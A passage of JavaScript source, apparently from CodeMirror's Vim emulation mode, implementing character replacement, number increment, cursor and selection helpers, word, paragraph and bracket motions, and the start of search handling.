          replaceTo = curStart.ch + actionArgs.repeat;
          if (replaceTo > line.length) {
            replaceTo=line.length;
          }
          curEnd = Pos(curStart.line, replaceTo);
        }
        if (replaceWith=='\n') {
          if (!vim.visualMode) cm.replaceRange('', curStart, curEnd);
          // special case, where vim help says to replace by just one line-break
          (CodeMirror.commands.newlineAndIndentContinueComment || CodeMirror.commands.newlineAndIndent)(cm);
        } else {
          var replaceWithStr = cm.getRange(curStart, curEnd);
          //replace all characters in range by selected, but keep linebreaks
          replaceWithStr = replaceWithStr.replace(/[^\n]/g, replaceWith);
          if (vim.visualBlock) {
            // Tabs are split in visua block before replacing
            var spaces = new Array(cm.getOption("tabSize")+1).join(' ');
            replaceWithStr = cm.getSelection();
            replaceWithStr = replaceWithStr.replace(/\t/g, spaces).replace(/[^\n]/g, replaceWith).split('\n');
            cm.replaceSelections(replaceWithStr);
          } else {
            cm.replaceRange(replaceWithStr, curStart, curEnd);
          }
          if (vim.visualMode) {
            curStart = cursorIsBefore(selections[0].anchor, selections[0].head) ?
                         selections[0].anchor : selections[0].head;
            cm.setCursor(curStart);
            exitVisualMode(cm, false);
          } else {
            cm.setCursor(offsetCursor(curEnd, 0, -1));
          }
        }
      },
      incrementNumberToken: function(cm, actionArgs) {
        var cur = cm.getCursor();
        var lineStr = cm.getLine(cur.line);
        var re = /-?\d+/g;
        var match;
        var start;
        var end;
        var numberStr;
        var token;
        while ((match = re.exec(lineStr)) !== null) {
          token = match[0];
          start = match.index;
          end = start + token.length;
          if (cur.ch < end)break;
        }
        if (!actionArgs.backtrack && (end <= cur.ch))return;
        if (token) {
          var increment = actionArgs.increase ? 1 : -1;
          var number = parseInt(token) + (increment * actionArgs.repeat);
          var from = Pos(cur.line, start);
          var to = Pos(cur.line, end);
          numberStr = number.toString();
          cm.replaceRange(numberStr, from, to);
        } else {
          return;
        }
        cm.setCursor(Pos(cur.line, start + numberStr.length - 1));
      },
      repeatLastEdit: function(cm, actionArgs, vim) {
        var lastEditInputState = vim.lastEditInputState;
        if (!lastEditInputState) { return; }
        var repeat = actionArgs.repeat;
        if (repeat && actionArgs.repeatIsExplicit) {
          vim.lastEditInputState.repeatOverride = repeat;
        } else {
          repeat = vim.lastEditInputState.repeatOverride || repeat;
        }
        repeatLastEdit(cm, vim, repeat, false /** repeatForInsert */);
      },
      exitInsertMode: exitInsertMode
    };

    function defineAction(name, fn) {
      actions[name] = fn;
    }

    /*
     * Below are miscellaneous utility functions used by vim.js
     */

    /**
     * Clips cursor to ensure that line is within the buffer's range
     * If includeLineBreak is true, then allow cur.ch == lineLength.
     */
    function clipCursorToContent(cm, cur, includeLineBreak) {
      var line = Math.min(Math.max(cm.firstLine(), cur.line), cm.lastLine() );
      var maxCh = lineLength(cm, line) - 1;
      maxCh = (includeLineBreak) ? maxCh + 1 : maxCh;
      var ch = Math.min(Math.max(0, cur.ch), maxCh);
      return Pos(line, ch);
    }
    function copyArgs(args) {
      var ret = {};
      for (var prop in args) {
        if (args.hasOwnProperty(prop)) {
          ret[prop] = args[prop];
        }
      }
      return ret;
    }
    function offsetCursor(cur, offsetLine, offsetCh) {
      if (typeof offsetLine === 'object') {
        offsetCh = offsetLine.ch;
        offsetLine = offsetLine.line;
      }
      return Pos(cur.line + offsetLine, cur.ch + offsetCh);
    }
    function getOffset(anchor, head) {
      return {
        line: head.line - anchor.line,
        ch: head.line - anchor.line
      };
    }
    function commandMatches(keys, keyMap, context, inputState) {
      // Partial matches are not applied. They inform the key handler
      // that the current key sequence is a subsequence of a valid key
      // sequence, so that the key buffer is not cleared.
      var match, partial = [], full = [];
      for (var i = 0; i < keyMap.length; i++) {
        var command = keyMap[i];
        if (context == 'insert' && command.context != 'insert' ||
            command.context && command.context != context ||
            inputState.operator && command.type == 'action' ||
            !(match = commandMatch(keys, command.keys))) { continue; }
        if (match == 'partial') { partial.push(command); }
        if (match == 'full') { full.push(command); }
      }
      return {
        partial: partial.length && partial,
        full: full.length && full
      };
    }
    function commandMatch(pressed, mapped) {
      if (mapped.slice(-11) == '<character>') {
        // Last character matches anything.
        var prefixLen = mapped.length - 11;
        var pressedPrefix = pressed.slice(0, prefixLen);
        var mappedPrefix = mapped.slice(0, prefixLen);
        return pressedPrefix == mappedPrefix && pressed.length > prefixLen ? 'full' :
               mappedPrefix.indexOf(pressedPrefix) == 0 ? 'partial' : false;
      } else {
        return pressed == mapped ? 'full' :
               mapped.indexOf(pressed) == 0 ? 'partial' : false;
      }
    }
    function lastChar(keys) {
      var match = /^.*(<[\w\-]+>)$/.exec(keys);
      var selectedCharacter = match ? match[1] : keys.slice(-1);
      if (selectedCharacter.length > 1){
        switch(selectedCharacter){
          case '<CR>':
            selectedCharacter='\n';
            break;
          case '<Space>':
            selectedCharacter=' ';
            break;
          default:
            break;
        }
      }
      return selectedCharacter;
    }
    function repeatFn(cm, fn, repeat) {
      return function() {
        for (var i = 0; i < repeat; i++) {
          fn(cm);
        }
      };
    }
    function copyCursor(cur) {
      return Pos(cur.line, cur.ch);
    }
    function cursorEqual(cur1, cur2) {
      return cur1.ch == cur2.ch && cur1.line == cur2.line;
    }
    function cursorIsBefore(cur1, cur2) {
      if (cur1.line < cur2.line) {
        return true;
      }
      if (cur1.line == cur2.line && cur1.ch < cur2.ch) {
        return true;
      }
      return false;
    }
    function cursorMin(cur1, cur2) {
      if (arguments.length > 2) {
        cur2 = cursorMin.apply(undefined, Array.prototype.slice.call(arguments, 1));
      }
      return cursorIsBefore(cur1, cur2) ? cur1 : cur2;
    }
    function cursorMax(cur1, cur2) {
      if (arguments.length > 2) {
        cur2 = cursorMax.apply(undefined, Array.prototype.slice.call(arguments, 1));
      }
      return cursorIsBefore(cur1, cur2) ? cur2 : cur1;
    }
    function cursorIsBetween(cur1, cur2, cur3) {
      // returns true if cur2 is between cur1 and cur3.
      var cur1before2 = cursorIsBefore(cur1, cur2);
      var cur2before3 = cursorIsBefore(cur2, cur3);
      return cur1before2 && cur2before3;
    }
    function lineLength(cm, lineNum) {
      return cm.getLine(lineNum).length;
    }
    function trim(s) {
      if (s.trim) {
        return s.trim();
      }
      return s.replace(/^\s+|\s+$/g, '');
    }
    function escapeRegex(s) {
      return s.replace(/([.?*+$\[\]\/\\(){}|\-])/g, '\\$1');
    }
    function extendLineToColumn(cm, lineNum, column) {
      var endCh = lineLength(cm, lineNum);
      var spaces = new Array(column-endCh+1).join(' ');
      cm.setCursor(Pos(lineNum, endCh));
      cm.replaceRange(spaces, cm.getCursor());
    }
    // This functions selects a rectangular block
    // of text with selectionEnd as any of its corner
    // Height of block:
    // Difference in selectionEnd.line and first/last selection.line
    // Width of the block:
    // Distance between selectionEnd.ch and any(first considered here) selection.ch
    function selectBlock(cm, selectionEnd) {
      var selections = [], ranges = cm.listSelections();
      var head = copyCursor(cm.clipPos(selectionEnd));
      var isClipped = !cursorEqual(selectionEnd, head);
      var curHead = cm.getCursor('head');
      var primIndex = getIndex(ranges, curHead);
      var wasClipped = cursorEqual(ranges[primIndex].head, ranges[primIndex].anchor);
      var max = ranges.length - 1;
      var index = max - primIndex > primIndex ? max : 0;
      var base = ranges[index].anchor;

      var firstLine = Math.min(base.line, head.line);
      var lastLine = Math.max(base.line, head.line);
      var baseCh = base.ch, headCh = head.ch;

      var dir = ranges[index].head.ch - baseCh;
      var newDir = headCh - baseCh;
      if (dir > 0 && newDir <= 0) {
        baseCh++;
        if (!isClipped) { headCh--; }
      } else if (dir < 0 && newDir >= 0) {
        baseCh--;
        if (!wasClipped) { headCh++; }
      } else if (dir < 0 && newDir == -1) {
        baseCh--;
        headCh++;
      }
      for (var line = firstLine; line <= lastLine; line++) {
        var range = {anchor: new Pos(line, baseCh), head: new Pos(line, headCh)};
        selections.push(range);
      }
      primIndex = head.line == lastLine ? selections.length - 1 : 0;
      cm.setSelections(selections);
      selectionEnd.ch = headCh;
      base.ch = baseCh;
      return base;
    }
    function selectForInsert(cm, head, height) {
      var sel = [];
      for (var i = 0; i < height; i++) {
        var lineHead = offsetCursor(head, i, 0);
        sel.push({anchor: lineHead, head: lineHead});
      }
      cm.setSelections(sel, 0);
    }
    // getIndex returns the index of the cursor in the selections.
    function getIndex(ranges, cursor, end) {
      for (var i = 0; i < ranges.length; i++) {
        var atAnchor = end != 'head' && cursorEqual(ranges[i].anchor, cursor);
        var atHead = end != 'anchor' && cursorEqual(ranges[i].head, cursor);
        if (atAnchor || atHead) {
          return i;
        }
      }
      return -1;
    }
    function getSelectedAreaRange(cm, vim) {
      var lastSelection = vim.lastSelection;
      var getCurrentSelectedAreaRange = function() {
        var selections = cm.listSelections();
        var start =  selections[0];
        var end = selections[selections.length-1];
        var selectionStart = cursorIsBefore(start.anchor, start.head) ? start.anchor : start.head;
        var selectionEnd = cursorIsBefore(end.anchor, end.head) ? end.head : end.anchor;
        return [selectionStart, selectionEnd];
      };
      var getLastSelectedAreaRange = function() {
        var selectionStart = cm.getCursor();
        var selectionEnd = cm.getCursor();
        var block = lastSelection.visualBlock;
        if (block) {
          var width = block.width;
          var height = block.height;
          selectionEnd = Pos(selectionStart.line + height, selectionStart.ch + width);
          var selections = [];
          // selectBlock creates a 'proper' rectangular block.
          // We do not want that in all cases, so we manually set selections.
          for (var i = selectionStart.line; i < selectionEnd.line; i++) {
            var anchor = Pos(i, selectionStart.ch);
            var head = Pos(i, selectionEnd.ch);
            var range = {anchor: anchor, head: head};
            selections.push(range);
          }
          cm.setSelections(selections);
        } else {
          var start = lastSelection.anchorMark.find();
          var end = lastSelection.headMark.find();
          var line = end.line - start.line;
          var ch = end.ch - start.ch;
          selectionEnd = {line: selectionEnd.line + line, ch: line ? selectionEnd.ch : ch + selectionEnd.ch};
          if (lastSelection.visualLine) {
            selectionStart = Pos(selectionStart.line, 0);
            selectionEnd = Pos(selectionEnd.line, lineLength(cm, selectionEnd.line));
          }
          cm.setSelection(selectionStart, selectionEnd);
        }
        return [selectionStart, selectionEnd];
      };
      if (!vim.visualMode) {
      // In case of replaying the action.
        return getLastSelectedAreaRange();
      } else {
        return getCurrentSelectedAreaRange();
      }
    }
    // Updates the previous selection with the current selection's values. This
    // should only be called in visual mode.
    function updateLastSelection(cm, vim) {
      var anchor = vim.sel.anchor;
      var head = vim.sel.head;
      // To accommodate the effect of lastPastedText in the last selection
      if (vim.lastPastedText) {
        head = cm.posFromIndex(cm.indexFromPos(anchor) + vim.lastPastedText.length);
        vim.lastPastedText = null;
      }
      vim.lastSelection = {'anchorMark': cm.setBookmark(anchor),
                           'headMark': cm.setBookmark(head),
                           'anchor': copyCursor(anchor),
                           'head': copyCursor(head),
                           'visualMode': vim.visualMode,
                           'visualLine': vim.visualLine,
                           'visualBlock': vim.visualBlock};
    }
    function expandSelection(cm, start, end) {
      var sel = cm.state.vim.sel;
      var head = sel.head;
      var anchor = sel.anchor;
      var tmp;
      if (cursorIsBefore(end, start)) {
        tmp = end;
        end = start;
        start = tmp;
      }
      if (cursorIsBefore(head, anchor)) {
        head = cursorMin(start, head);
        anchor = cursorMax(anchor, end);
      } else {
        anchor = cursorMin(start, anchor);
        head = cursorMax(head, end);
        head = offsetCursor(head, 0, -1);
        if (head.ch == -1 && head.line != cm.firstLine()) {
          head = Pos(head.line - 1, lineLength(cm, head.line - 1));
        }
      }
      return [anchor, head];
    }
    /**
     * Updates the CodeMirror selection to match the provided vim selection.
     * If no arguments are given, it uses the current vim selection state.
     */
    function updateCmSelection(cm, sel, mode) {
      var vim = cm.state.vim;
      sel = sel || vim.sel;
      var mode = mode ||
        vim.visualLine ? 'line' : vim.visualBlock ? 'block' : 'char';
      var cmSel = makeCmSelection(cm, sel, mode);
      cm.setSelections(cmSel.ranges, cmSel.primary);
      updateFakeCursor(cm);
    }
    function makeCmSelection(cm, sel, mode, exclusive) {
      var head = copyCursor(sel.head);
      var anchor = copyCursor(sel.anchor);
      if (mode == 'char') {
        var headOffset = !exclusive && !cursorIsBefore(sel.head, sel.anchor) ? 1 : 0;
        var anchorOffset = cursorIsBefore(sel.head, sel.anchor) ? 1 : 0;
        head = offsetCursor(sel.head, 0, headOffset);
        anchor = offsetCursor(sel.anchor, 0, anchorOffset);
        return {
          ranges: [{anchor: anchor, head: head}],
          primary: 0
        };
      } else if (mode == 'line') {
        if (!cursorIsBefore(sel.head, sel.anchor)) {
          anchor.ch = 0;

          var lastLine = cm.lastLine();
          if (head.line > lastLine) {
            head.line = lastLine;
          }
          head.ch = lineLength(cm, head.line);
        } else {
          head.ch = 0;
          anchor.ch = lineLength(cm, anchor.line);
        }
        return {
          ranges: [{anchor: anchor, head: head}],
          primary: 0
        };
      } else if (mode == 'block') {
        var top = Math.min(anchor.line, head.line),
            left = Math.min(anchor.ch, head.ch),
            bottom = Math.max(anchor.line, head.line),
            right = Math.max(anchor.ch, head.ch) + 1;
        var height = bottom - top + 1;
        var primary = head.line == top ? 0 : height - 1;
        var ranges = [];
        for (var i = 0; i < height; i++) {
          ranges.push({
            anchor: Pos(top + i, left),
            head: Pos(top + i, right)
          });
        }
        return {
          ranges: ranges,
          primary: primary
        };
      }
    }
    function getHead(cm) {
      var cur = cm.getCursor('head');
      if (cm.getSelection().length == 1) {
        // Small corner case when only 1 character is selected. The "real"
        // head is the left of head and anchor.
        cur = cursorMin(cur, cm.getCursor('anchor'));
      }
      return cur;
    }

    /**
     * If moveHead is set to false, the CodeMirror selection will not be
     * touched. The caller assumes the responsibility of putting the cursor
    * in the right place.
     */
    function exitVisualMode(cm, moveHead) {
      var vim = cm.state.vim;
      if (moveHead !== false) {
        cm.setCursor(clipCursorToContent(cm, vim.sel.head));
      }
      updateLastSelection(cm, vim);
      vim.visualMode = false;
      vim.visualLine = false;
      vim.visualBlock = false;
      CodeMirror.signal(cm, "vim-mode-change", {mode: "normal"});
      if (vim.fakeCursor) {
        vim.fakeCursor.clear();
      }
    }

    // Remove any trailing newlines from the selection. For
    // example, with the caret at the start of the last word on the line,
    // 'dw' should word, but not the newline, while 'w' should advance the
    // caret to the first character of the next line.
    function clipToLine(cm, curStart, curEnd) {
      var selection = cm.getRange(curStart, curEnd);
      // Only clip if the selection ends with trailing newline + whitespace
      if (/\n\s*$/.test(selection)) {
        var lines = selection.split('\n');
        // We know this is all whitepsace.
        lines.pop();

        // Cases:
        // 1. Last word is an empty line - do not clip the trailing '\n'
        // 2. Last word is not an empty line - clip the trailing '\n'
        var line;
        // Find the line containing the last word, and clip all whitespace up
        // to it.
        for (var line = lines.pop(); lines.length > 0 && line && isWhiteSpaceString(line); line = lines.pop()) {
          curEnd.line--;
          curEnd.ch = 0;
        }
        // If the last word is not an empty line, clip an additional newline
        if (line) {
          curEnd.line--;
          curEnd.ch = lineLength(cm, curEnd.line);
        } else {
          curEnd.ch = 0;
        }
      }
    }

    // Expand the selection to line ends.
    function expandSelectionToLine(_cm, curStart, curEnd) {
      curStart.ch = 0;
      curEnd.ch = 0;
      curEnd.line++;
    }

    function findFirstNonWhiteSpaceCharacter(text) {
      if (!text) {
        return 0;
      }
      var firstNonWS = text.search(/\S/);
      return firstNonWS == -1 ? text.length : firstNonWS;
    }

    function expandWordUnderCursor(cm, inclusive, _forward, bigWord, noSymbol) {
      var cur = getHead(cm);
      var line = cm.getLine(cur.line);
      var idx = cur.ch;

      // Seek to first word or non-whitespace character, depending on if
      // noSymbol is true.
      var test = noSymbol ? wordCharTest[0] : bigWordCharTest [0];
      while (!test(line.charAt(idx))) {
        idx++;
        if (idx >= line.length) { return null; }
      }

      if (bigWord) {
        test = bigWordCharTest[0];
      } else {
        test = wordCharTest[0];
        if (!test(line.charAt(idx))) {
          test = wordCharTest[1];
        }
      }

      var end = idx, start = idx;
      while (test(line.charAt(end)) && end < line.length) { end++; }
      while (test(line.charAt(start)) && start >= 0) { start--; }
      start++;

      if (inclusive) {
        // If present, include all whitespace after word.
        // Otherwise, include all whitespace before word, except indentation.
        var wordEnd = end;
        while (/\s/.test(line.charAt(end)) && end < line.length) { end++; }
        if (wordEnd == end) {
          var wordStart = start;
          while (/\s/.test(line.charAt(start - 1)) && start > 0) { start--; }
          if (!start) { start = wordStart; }
        }
      }
      return { start: Pos(cur.line, start), end: Pos(cur.line, end) };
    }

    function recordJumpPosition(cm, oldCur, newCur) {
      if (!cursorEqual(oldCur, newCur)) {
        vimGlobalState.jumpList.add(cm, oldCur, newCur);
      }
    }

    function recordLastCharacterSearch(increment, args) {
        vimGlobalState.lastChararacterSearch.increment = increment;
        vimGlobalState.lastChararacterSearch.forward = args.forward;
        vimGlobalState.lastChararacterSearch.selectedCharacter = args.selectedCharacter;
    }

    var symbolToMode = {
        '(': 'bracket', ')': 'bracket', '{': 'bracket', '}': 'bracket',
        '[': 'section', ']': 'section',
        '*': 'comment', '/': 'comment',
        'm': 'method', 'M': 'method',
        '#': 'preprocess'
    };
    var findSymbolModes = {
      bracket: {
        isComplete: function(state) {
          if (state.nextCh === state.symb) {
            state.depth++;
            if (state.depth >= 1)return true;
          } else if (state.nextCh === state.reverseSymb) {
            state.depth--;
          }
          return false;
        }
      },
      section: {
        init: function(state) {
          state.curMoveThrough = true;
          state.symb = (state.forward ? ']' : '[') === state.symb ? '{' : '}';
        },
        isComplete: function(state) {
          return state.index === 0 && state.nextCh === state.symb;
        }
      },
      comment: {
        isComplete: function(state) {
          var found = state.lastCh === '*' && state.nextCh === '/';
          state.lastCh = state.nextCh;
          return found;
        }
      },
      // TODO: The original Vim implementation only operates on level 1 and 2.
      // The current implementation doesn't check for code block level and
      // therefore it operates on any levels.
      method: {
        init: function(state) {
          state.symb = (state.symb === 'm' ? '{' : '}');
          state.reverseSymb = state.symb === '{' ? '}' : '{';
        },
        isComplete: function(state) {
          if (state.nextCh === state.symb)return true;
          return false;
        }
      },
      preprocess: {
        init: function(state) {
          state.index = 0;
        },
        isComplete: function(state) {
          if (state.nextCh === '#') {
            var token = state.lineText.match(/#(\w+)/)[1];
            if (token === 'endif') {
              if (state.forward && state.depth === 0) {
                return true;
              }
              state.depth++;
            } else if (token === 'if') {
              if (!state.forward && state.depth === 0) {
                return true;
              }
              state.depth--;
            }
            if (token === 'else' && state.depth === 0)return true;
          }
          return false;
        }
      }
    };
    function findSymbol(cm, repeat, forward, symb) {
      var cur = copyCursor(cm.getCursor());
      var increment = forward ? 1 : -1;
      var endLine = forward ? cm.lineCount() : -1;
      var curCh = cur.ch;
      var line = cur.line;
      var lineText = cm.getLine(line);
      var state = {
        lineText: lineText,
        nextCh: lineText.charAt(curCh),
        lastCh: null,
        index: curCh,
        symb: symb,
        reverseSymb: (forward ?  { ')': '(', '}': '{' } : { '(': ')', '{': '}' })[symb],
        forward: forward,
        depth: 0,
        curMoveThrough: false
      };
      var mode = symbolToMode[symb];
      if (!mode)return cur;
      var init = findSymbolModes[mode].init;
      var isComplete = findSymbolModes[mode].isComplete;
      if (init) { init(state); }
      while (line !== endLine && repeat) {
        state.index += increment;
        state.nextCh = state.lineText.charAt(state.index);
        if (!state.nextCh) {
          line += increment;
          state.lineText = cm.getLine(line) || '';
          if (increment > 0) {
            state.index = 0;
          } else {
            var lineLen = state.lineText.length;
            state.index = (lineLen > 0) ? (lineLen-1) : 0;
          }
          state.nextCh = state.lineText.charAt(state.index);
        }
        if (isComplete(state)) {
          cur.line = line;
          cur.ch = state.index;
          repeat--;
        }
      }
      if (state.nextCh || state.curMoveThrough) {
        return Pos(line, state.index);
      }
      return cur;
    }

    /**
     * Returns the boundaries of the next word. If the cursor in the middle of
     * the word, then returns the boundaries of the current word, starting at
     * the cursor. If the cursor is at the start/end of a word, and we are going
     * forward/backward, respectively, find the boundaries of the next word.
     *
     * @param {CodeMirror} cm CodeMirror object.
     * @param {Cursor} cur The cursor position.
     * @param {boolean} forward True to search forward. False to search
     *     backward.
     * @param {boolean} bigWord True if punctuation count as part of the word.
     *     False if only [a-zA-Z0-9] characters count as part of the word.
     * @param {boolean} emptyLineIsWord True if empty lines should be treated
     *     as words.
     * @return {Object{from:number, to:number, line: number}} The boundaries of
     *     the word, or null if there are no more words.
     */
    function findWord(cm, cur, forward, bigWord, emptyLineIsWord) {
      var lineNum = cur.line;
      var pos = cur.ch;
      var line = cm.getLine(lineNum);
      var dir = forward ? 1 : -1;
      var charTests = bigWord ? bigWordCharTest: wordCharTest;

      if (emptyLineIsWord && line == '') {
        lineNum += dir;
        line = cm.getLine(lineNum);
        if (!isLine(cm, lineNum)) {
          return null;
        }
        pos = (forward) ? 0 : line.length;
      }

      while (true) {
        if (emptyLineIsWord && line == '') {
          return { from: 0, to: 0, line: lineNum };
        }
        var stop = (dir > 0) ? line.length : -1;
        var wordStart = stop, wordEnd = stop;
        // Find bounds of next word.
        while (pos != stop) {
          var foundWord = false;
          for (var i = 0; i < charTests.length && !foundWord; ++i) {
            if (charTests[i](line.charAt(pos))) {
              wordStart = pos;
              // Advance to end of word.
              while (pos != stop && charTests[i](line.charAt(pos))) {
                pos += dir;
              }
              wordEnd = pos;
              foundWord = wordStart != wordEnd;
              if (wordStart == cur.ch && lineNum == cur.line &&
                  wordEnd == wordStart + dir) {
                // We started at the end of a word. Find the next one.
                continue;
              } else {
                return {
                  from: Math.min(wordStart, wordEnd + 1),
                  to: Math.max(wordStart, wordEnd),
                  line: lineNum };
              }
            }
          }
          if (!foundWord) {
            pos += dir;
          }
        }
        // Advance to next/prev line.
        lineNum += dir;
        if (!isLine(cm, lineNum)) {
          return null;
        }
        line = cm.getLine(lineNum);
        pos = (dir > 0) ? 0 : line.length;
      }
      // Should never get here.
      throw new Error('The impossible happened.');
    }

    /**
     * @param {CodeMirror} cm CodeMirror object.
     * @param {Pos} cur The position to start from.
     * @param {int} repeat Number of words to move past.
     * @param {boolean} forward True to search forward. False to search
     *     backward.
     * @param {boolean} wordEnd True to move to end of word. False to move to
     *     beginning of word.
     * @param {boolean} bigWord True if punctuation count as part of the word.
     *     False if only alphabet characters count as part of the word.
     * @return {Cursor} The position the cursor should move to.
     */
    function moveToWord(cm, cur, repeat, forward, wordEnd, bigWord) {
      var curStart = copyCursor(cur);
      var words = [];
      if (forward && !wordEnd || !forward && wordEnd) {
        repeat++;
      }
      // For 'e', empty lines are not considered words, go figure.
      var emptyLineIsWord = !(forward && wordEnd);
      for (var i = 0; i < repeat; i++) {
        var word = findWord(cm, cur, forward, bigWord, emptyLineIsWord);
        if (!word) {
          var eodCh = lineLength(cm, cm.lastLine());
          words.push(forward
              ? {line: cm.lastLine(), from: eodCh, to: eodCh}
              : {line: 0, from: 0, to: 0});
          break;
        }
        words.push(word);
        cur = Pos(word.line, forward ? (word.to - 1) : word.from);
      }
      var shortCircuit = words.length != repeat;
      var firstWord = words[0];
      var lastWord = words.pop();
      if (forward && !wordEnd) {
        // w
        if (!shortCircuit && (firstWord.from != curStart.ch || firstWord.line != curStart.line)) {
          // We did not start in the middle of a word. Discard the extra word at the end.
          lastWord = words.pop();
        }
        return Pos(lastWord.line, lastWord.from);
      } else if (forward && wordEnd) {
        return Pos(lastWord.line, lastWord.to - 1);
      } else if (!forward && wordEnd) {
        // ge
        if (!shortCircuit && (firstWord.to != curStart.ch || firstWord.line != curStart.line)) {
          // We did not start in the middle of a word. Discard the extra word at the end.
          lastWord = words.pop();
        }
        return Pos(lastWord.line, lastWord.to);
      } else {
        // b
        return Pos(lastWord.line, lastWord.from);
      }
    }

    function moveToCharacter(cm, repeat, forward, character) {
      var cur = cm.getCursor();
      var start = cur.ch;
      var idx;
      for (var i = 0; i < repeat; i ++) {
        var line = cm.getLine(cur.line);
        idx = charIdxInLine(start, line, character, forward, true);
        if (idx == -1) {
          return null;
        }
        start = idx;
      }
      return Pos(cm.getCursor().line, idx);
    }

    function moveToColumn(cm, repeat) {
      // repeat is always >= 1, so repeat - 1 always corresponds
      // to the column we want to go to.
      var line = cm.getCursor().line;
      return clipCursorToContent(cm, Pos(line, repeat - 1));
    }

    function updateMark(cm, vim, markName, pos) {
      if (!inArray(markName, validMarks)) {
        return;
      }
      if (vim.marks[markName]) {
        vim.marks[markName].clear();
      }
      vim.marks[markName] = cm.setBookmark(pos);
    }

    function charIdxInLine(start, line, character, forward, includeChar) {
      // Search for char in line.
      // motion_options: {forward, includeChar}
      // If includeChar = true, include it too.
      // If forward = true, search forward, else search backwards.
      // If char is not found on this line, do nothing
      var idx;
      if (forward) {
        idx = line.indexOf(character, start + 1);
        if (idx != -1 && !includeChar) {
          idx -= 1;
        }
      } else {
        idx = line.lastIndexOf(character, start - 1);
        if (idx != -1 && !includeChar) {
          idx += 1;
        }
      }
      return idx;
    }

    function findParagraph(cm, head, repeat, dir, inclusive) {
      var line = head.line;
      var min = cm.firstLine();
      var max = cm.lastLine();
      var start, end, i = line;
      function isEmpty(i) { return !cm.getLine(i); }
      function isBoundary(i, dir, any) {
        if (any) { return isEmpty(i) != isEmpty(i + dir); }
        return !isEmpty(i) && isEmpty(i + dir);
      }
      if (dir) {
        while (min <= i && i <= max && repeat > 0) {
          if (isBoundary(i, dir)) { repeat--; }
          i += dir;
        }
        return new Pos(i, 0);
      }

      var vim = cm.state.vim;
      if (vim.visualLine && isBoundary(line, 1, true)) {
        var anchor = vim.sel.anchor;
        if (isBoundary(anchor.line, -1, true)) {
          if (!inclusive || anchor.line != line) {
            line += 1;
          }
        }
      }
      var startState = isEmpty(line);
      for (i = line; i <= max && repeat; i++) {
        if (isBoundary(i, 1, true)) {
          if (!inclusive || isEmpty(i) != startState) {
            repeat--;
          }
        }
      }
      end = new Pos(i, 0);
      // select boundary before paragraph for the last one
      if (i > max && !startState) { startState = true; }
      else { inclusive = false; }
      for (i = line; i > min; i--) {
        if (!inclusive || isEmpty(i) == startState || i == line) {
          if (isBoundary(i, -1, true)) { break; }
        }
      }
      start = new Pos(i, 0);
      return { start: start, end: end };
    }

    // TODO: perhaps this finagling of start and end positions belonds
    // in codmirror/replaceRange?
    function selectCompanionObject(cm, head, symb, inclusive) {
      var cur = head, start, end;

      var bracketRegexp = ({
        '(': /[()]/, ')': /[()]/,
        '[': /[[\]]/, ']': /[[\]]/,
        '{': /[{}]/, '}': /[{}]/})[symb];
      var openSym = ({
        '(': '(', ')': '(',
        '[': '[', ']': '[',
        '{': '{', '}': '{'})[symb];
      var curChar = cm.getLine(cur.line).charAt(cur.ch);
      // Due to the behavior of scanForBracket, we need to add an offset if the
      // cursor is on a matching open bracket.
      var offset = curChar === openSym ? 1 : 0;

      start = cm.scanForBracket(Pos(cur.line, cur.ch + offset), -1, null, {'bracketRegex': bracketRegexp});
      end = cm.scanForBracket(Pos(cur.line, cur.ch + offset), 1, null, {'bracketRegex': bracketRegexp});

      if (!start || !end) {
        return { start: cur, end: cur };
      }

      start = start.pos;
      end = end.pos;

      if ((start.line == end.line && start.ch > end.ch)
          || (start.line > end.line)) {
        var tmp = start;
        start = end;
        end = tmp;
      }

      if (inclusive) {
        end.ch += 1;
      } else {
        start.ch += 1;
      }

      return { start: start, end: end };
    }

    // Takes in a symbol and a cursor and tries to simulate text objects that
    // have identical opening and closing symbols
    // TODO support across multiple lines
    function findBeginningAndEnd(cm, head, symb, inclusive) {
      var cur = copyCursor(head);
      var line = cm.getLine(cur.line);
      var chars = line.split('');
      var start, end, i, len;
      var firstIndex = chars.indexOf(symb);

      // the decision tree is to always look backwards for the beginning first,
      // but if the cursor is in front of the first instance of the symb,
      // then move the cursor forward
      if (cur.ch < firstIndex) {
        cur.ch = firstIndex;
        // Why is this line even here???
        // cm.setCursor(cur.line, firstIndex+1);
      }
      // otherwise if the cursor is currently on the closing symbol
      else if (firstIndex < cur.ch && chars[cur.ch] == symb) {
        end = cur.ch; // assign end to the current cursor
        --cur.ch; // make sure to look backwards
      }

      // if we're currently on the symbol, we've got a start
      if (chars[cur.ch] == symb && !end) {
        start = cur.ch + 1; // assign start to ahead of the cursor
      } else {
        // go backwards to find the start
        for (i = cur.ch; i > -1 && !start; i--) {
          if (chars[i] == symb) {
            start = i + 1;
          }
        }
      }

      // look forwards for the end symbol
      if (start && !end) {
        for (i = start, len = chars.length; i < len && !end; i++) {
          if (chars[i] == symb) {
            end = i;
          }
        }
      }

      // nothing found
      if (!start || !end) {
        return { start: cur, end: cur };
      }

      // include the symbols
      if (inclusive) {
        --start; ++end;
      }

      return {
        start: Pos(cur.line, start),
        end: Pos(cur.line, end)
      };
    }

    // Search functions
    defineOption('pcre', true, 'boolean');
    function SearchState() {}
    SearchState.prototype = {
      getQuery: function() {
        return vimGlobalState.query;
      },
      setQuery: function(query) {
        vimGlobalState.query = query;
      },
      getOverlay: function() {
        return this.searchOverlay;
      },
      setOverlay: function(overlay) {
        this.searchOverlay = overlay;
      },
      isReversed: function() {
        return vimGlobalState.isReversed;
      },
      setReversed: function(reversed) {
        vimGlobalState.isReversed = reversed;
      },
      getScrollbarAnnotate: function() {
        return this.annotate;
      },
      setScrollbarAnnotate: function(annotate) {
        this.annotate = annotate;
      }
    };
    function getSearchState(cm) {
      var vim = cm.state.vim;
      return vim.searchState_ || (vim.searchState_ = new SearchState());
    }
    function dialog(cm, template, shortText, onClose, options) {
      if (cm.openDialog) {
        cm.openDialog(template, onClose, { bottom: true, value: options.value,
            onKeyDown: options.onKeyDown, onKeyUp: options.onKeyUp,
            selectValueOnOpen: false});
      }
      else {
        onClose(prompt(shortText, ''));
      }
    }
    function splitBySlash(argString) {
      var slashes = findUnescapedSlashes(argString) || [];
      if (!slashes.length) return [];
      var tokens = [];
      // in case of strings like foo/bar
      if (slashes[0] !== 0) return;
      for (var i = 0; i < slashes.length; i++) {
        if (typeof slashes[i] == 'number')
          tokens.push(argString.substring(slashes[i] + 1, slashes[i+1]));
      }
      return tokens;
    }

    function findUnescapedSlashes(str) {
      var escapeNextChar = false;
      var slashes = [];
      for (var i = 0; i < str.length; i++) {
        var c = str.charAt(i);
